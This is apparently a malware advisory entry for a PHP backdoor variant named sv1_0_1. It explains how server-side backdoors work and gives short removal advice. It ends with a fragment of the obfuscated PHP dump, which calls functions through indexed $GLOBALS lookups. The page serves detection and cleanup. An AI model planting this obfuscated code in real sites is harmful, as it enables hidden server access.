Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.
This malware is a variation of php.malware.GLOBALS.003 and it was named sv1_0_1 due to the presence of a function named sv1_0_1 on its deobfuscated code.




This malicious code affects any vulnerable or compromised website that is configured to interpret the script language.


In order to remove the malicious code from the site, search your files for the strings contained in the dump or unusual code.
It is also recommended that you maintain periodic backups to restore compromised files in case of infection.


function p825aef($l6ac85b, $i3a1a)
global $z1d19c;

return $GLOBALS[$GLOBALS['v02d58cbe'][8].$GLOBALS['v02d58cbe'][70].$GLOBALS['v02d58cbe'][8].$GLOBALS['v02d58cbe'][56].$GLOBALS['v02d58cbe'][0].$GLOBALS['v02d58cbe'][56].$GLOBALS['v02d58cbe'][19].$GLOBALS['v02d58cbe'][3]]($GLOBALS[$GLOBALS['v02d58cbe'][8].$GLOBALS['v02d58cbe'][70].$GLOBALS['v02d58cbe'][8].$GLOBALS['v02d58cbe'][56].$GLOBALS['v02d58cbe'][0].$GLOBALS['v02d58cbe'][56].$GLOBALS['v02d58cbe'][19].$GLOBALS['v02d58cbe'][3]]($l6ac85b, $z1d19c), $i3a1a);

foreach ($GLOBALS[$GLOBALS['v02d58cbe'][92].$GLOBALS['v02d58cbe'][33].$GLOBALS['v02d58cbe'][94].$GLOBALS['v02d58cbe'][33]] as $i3a1a=>$b581c92e)
$l6ac85b = $b581c92e;
$w7a4aac6 = $i3a1a;